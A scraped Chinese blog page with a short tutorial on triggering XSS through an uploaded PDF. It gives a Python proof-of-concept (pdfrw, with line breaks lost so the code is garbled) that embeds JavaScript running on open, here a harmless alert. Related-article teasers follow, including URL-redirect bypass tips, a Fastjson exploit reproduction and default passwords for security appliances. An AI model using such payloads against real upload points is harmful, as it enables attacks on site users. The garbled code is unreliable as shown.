PDF如何XSS

简介

在上传点时,如果上传不了图片格式的文件,可以尝试上传html或者pdf文件来达到xss的效果。上传html就不多说了,下面来说说怎么让pdf弹窗。

操作步骤:
环境准备:python3
需要准备poc.py和poc.js
poc.py内容

# FROM https://github.com/osnr/horrifying-pdf-experiments
import sysfrom pdfrw import PdfWriter
from pdfrw.objects.pdfname import PdfName
from pdfrw.objects.pdfstring import PdfString
from pdfrw.objects.pdfdict import PdfDict
from pdfrw.objects.pdfarray import PdfArraydef make_js_action(js):action = PdfDict()action.S = PdfName.JavaScriptaction.JS = jsreturn actiondef make_field(name, x, y, width, height, r, g, b, value=""):annot = PdfDict()annot.Type = PdfName.Annotannot.Subtype = PdfName.Widgetannot.FT = PdfName.Txannot.Ff = 2annot.Rect = PdfArray([x, y, x + width, y + height])annot.MaxLen = 160annot.T = PdfString.encode(name)annot.V = PdfString.encode(value)# Default appearance stream: can be arbitrary PDF XObject or# something. Very general.annot.AP = PdfDict()ap = annot.AP.N = PdfDict()ap.Type = PdfName.XObjectap.Subtype = PdfName.Formap.FormType = 1ap.BBox = PdfArray([0, 0, width, height])ap.Matrix = PdfArray([1.0, 0.0, 0.0, 1.0, 0.0, 0.0])ap.stream = """
%f %f %f rg
0.0 0.0 %f %f re f
""" % (r, g, b, width, height)# It took me a while to figure this out. See PDF spec:# https://www.adobe.com/content/dam/Adobe/en/devnet/acrobat/pdfs/pdf_reference_1-7.pdf#page=641# Basically, the appearance stream we just specified doesn't# follow the field rect if it gets changed in JS (at least not in# Chrome).# But this simple MK field here, with border/color# characteristics, _does_ follow those movements and resizes, so# we can get moving colored rectangles this way.annot.MK = PdfDict()annot.MK.BG = PdfArray([r, g, b])return annotdef make_page(fields, script):page = PdfDict()page.Type = PdfName.Pagepage.Resources = PdfDict()page.Resources.Font = PdfDict()page.Resources.Font.F1 = PdfDict()page.Resources.Font.F1.Type = PdfName.Fontpage.Resources.Font.F1.Subtype = PdfName.Type1page.Resources.Font.F1.BaseFont = PdfName.Helveticapage.MediaBox = PdfArray([0, 0, 612, 792])page.Contents = PdfDict()page.Contents.stream = """
BT
/F1 24 Tf
ET"""annots = fieldspage.AA = PdfDict()# You probably should just wrap each JS action with a try/catch,# because Chrome does no error reporting or even logging otherwise;# you just get a silent failure.page.AA.O = make_js_action("""
try {%s
} catch (e) {app.alert(e.message);
}""" % (script))page.Annots = PdfArray(annots)return pageif len(sys.argv) > 1:js_file = open(sys.argv[1], 'r')fields = []for line in js_file:if not line.startswith('/// '): breakpieces = line.split()params = [pieces[1]] + [float(token) for token in pieces[2:]]fields.append(make_field(*params))js_file.seek(0)out = PdfWriter()out.addpage(make_page(fields, js_file.read()))out.write('result.pdf')

poc.js内容

app.alert("test")

直接执行命令python3 poc.py poc.js,会在当前路径生成一个result.pdf文件,直接打开这个pdf文件就能弹窗
在这里插入图片描述
直接打开
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/358140.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

NOI 练手题 图像旋转翻转变换

题目:来源http://noi.openjudge.cn/ch0112/09/ 总时间限制: 1000ms内存限制: 65536kB描述给定m行n列的图像各像素点灰度值,对其依次进行一系列操作后,求最终图像。 其中,可能的操作及对应字符有如下四种: A&#xff1a…

CSDN Chrome插件来啦,听说可以提升开发者效率,我们先来研究一波

孙叫兽,安徽宿州人,北漂前端全栈程序员(朝着这个目标努力),如果你觉得这篇文章帮助了你,记得三连👉(转发+点赞+评论),技术交流请联系个人主页左侧导航栏。 这个插件的定位是提升程序员的开发效率的,至于哪方面?自己慢慢体会,我大致的感觉就是搜索引擎的导航网站的…

C盘全面清理教程!彻底清理所有垃圾!

预计阅读时间 10分钟 资源在文末获取哦 老懒粉应该知道,我们写过“宇宙最细”的系统安装/重装教程 但我们除了新机,通常情况下重装系统的目的是什么? 虽然不管电脑出现了什么样的软件方面问题,我们都可以通过重装系统来一劳永…

python常用类型的内置函数列表

1、list.append(obj) 向列表中加入一个对象obj fruits [apple, pear, orange] >>> fruits.append(apple) >>> fruits [apple, pear, orange, apple]2、list.count(obj) 返回一个对象obj在列表中出现的次数 >>> fruits.count(a…

java虚拟内存扩展_Java 8虚拟扩展方法

java虚拟内存扩展我一直关注Java 8 Lambda表达式项目的发展已经有一段时间了,我对其当前的进展状态感到非常兴奋。 我发现的最新“易于理解”的演示文稿是这样的: http://blogs.oracle.com/briangoetz/resource/devoxx-lang-lib-vm-co-evol.pdf 现在&…

url重定向绕过方式

url重定向绕过方式 俗话说的好,上有政策,下有对策,url重定向的绕过姿势也越来越多样化。普通url重定向方法测试不成功,换个姿势,说不定可以再次绕过。 这里总结下成功的绕过方式。 (1) 使用…

【转】android:DDMS查看Threads--不错

原文网址:http://www.cnblogs.com/mybkn/archive/2012/05/27/2520335.html 有时候程序运行出现死锁或者信号量卡死是很纠结的问题,单看代码很难分析定位问题,这时候可以借助DDMS来查看threads的运行情况,一目了然。 手机连接上USB…

史上最全的技术手册整理总结,编程小白都从这篇文章迅速成为大牛

孙叫兽,前端全栈攻城狮,更多资源请关注微信公众号:电商程序员 整理云端的开发,助你开发效率与认知起码提升十倍。 技术手册 Python初级手册Python进阶手册Python2手册Python3手册HTML手册CSS手册CSS3手册HTML5手册Boostrap4手册Boostrap3手册Boostrap手册

并发最佳实践

本文是我们名为“ 高级Java ”的学院课程的一部分。 本课程旨在帮助您最有效地使用Java。 它讨论了高级主题,包括对象创建,并发,序列化,反射等。 它将指导您完成Java掌握的过程! 在这里查看 ! 目录 1.简…

Fastjson反序列化漏洞复现(实战案例)

漏洞介绍 FastJson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。 通俗理解就是:漏洞利用fastjson autotype在处理json对…

SVN Error: Can‘t connect to host xxxxx‘: 由于目标计算机积极拒绝,无法连接,的最快解决办法

孙叫兽,前端全栈,微信公众号:电商程序员。如果本文对你有帮助,记得点赞关注,谢谢! 每次换个新电脑,新项目,新场地,新公司都有可能使用SVN下载老项目,有的是用内网&#x…

夺命雷公狗---无限级分类NO3

<?phpheader("Content-Type:text/html;charsetutf-8");/*无限级分类。牵扯2个应用0是-找指定栏目的子栏目1是-找指定栏目的子孙栏目&#xff0c;即子孙树2是-找指定栏目的父栏目/父父栏目....顶级栏目&#xff0c;即家谱树*/$aarr array(array(id>1,name>…

百度地图接口调用

当我们网站需要调用百度地图接口的时候&#xff0c;可以使用如下方法&#xff1a; 1.如何获取经纬度坐标 1.打开百度地图&#xff0c;在百度地图最底部找到“地图开放平台”链接。 2.进入“百度地图开放平台”网站中&#xff0c;在导航中选择“”开发文档>坐标拾取器“”…

java后端工程师平时开发或多或少会用到eclipse,那么它有哪些快捷键呢

孙叫兽&#xff0c;前端全栈工程师&#xff0c;微信公众号&#xff1a;电商程序员&#xff0c;主页QQ群有eclipse安装包。 下载地址&#xff1a;https://www.eclipse.org/downloads/ Eclipse 是一个开放源代码的、基于Java的可扩展开发平台。就其本身而言&#xff0c;它只是一个…

信息安全系统设计基础第六周学习总结

第六章 存储器层次结构 存储器系统 是一个具有不同容量、成本和访问时间的存储设备的层次结构。 1.CPU寄存器&#xff1a;容量小&#xff0c;成本高&#xff0c;访问快 2.高速缓存存储器&#xff1a;CPU和主存之间的缓存区域 3.主存&#xff1a;磁盘上大容量&#xff0c;成本低…

phpStudy + PhpStorm + XDebug调试【绝对能用】

具体参照的是这篇文章&#xff1a;https://blog.csdn.net/weixin_40418199/article/details/79088365 文章有些地方说的不是很详细想重写整理下。 【PHPStudy演示的版本为&#xff1a;PHP5.4.45-Apache】 1.PHPStudy配置 PHPStudy自带了XDebug的扩展&#xff0c;不需要下载 php…

亚马逊标题自动抓取_15分钟内开始使用Amazon Web Services和全自动资源调配

亚马逊标题自动抓取在等待一个新项目时&#xff0c;我想学习一些有用的东西。 而且由于在许多项目中我们需要评估和测试正在开发的应用程序的性能&#xff0c;而很少有足够的硬件来生成实际负载&#xff0c;因此我决定学习更多有关按需在云中按需配置虚拟机的知识&#xff0c;即…

java后端工程师平时开发或多或少会用到Intellij idea,那么它有哪些快捷键呢

孙叫兽,前端全栈工程师,微信公众号:电商程序员,主页QQ群有Intellij idea安装包及注册码。 下载地址:https://www.jetbrains.com/idea/download/ IDEA 全称 IntelliJ IDEA,是java编程语言开发的集成环境。IntelliJ在业界被公认为最好的java开发工具,尤其在智能代码助手、…

网络安全设备默认密码

因为触及敏感词v-p-n,需要将 ‘-’去掉。 设备默认账号默认密码深信服产品sangforsangfor sangfor2018 sangfor2019深信服科技 ADdlanrecover深信服负载均衡 AD 3.6adminadmin深信服WAC ( WNS V2.6)adminadmin深信服v-p-nAdminAdmin深信服ipsec-V-P-N (SSL 5.5)AdminAdmin深信…

Java注释处理器

本文是我们名为“ 高级Java ”的学院课程的一部分。 本课程旨在帮助您最有效地使用Java。 它讨论了高级主题&#xff0c;包括对象创建&#xff0c;并发&#xff0c;序列化&#xff0c;反射等。 它将指导您完成Java掌握的过程&#xff01; 在这里查看 &#xff01; 目录 1.简…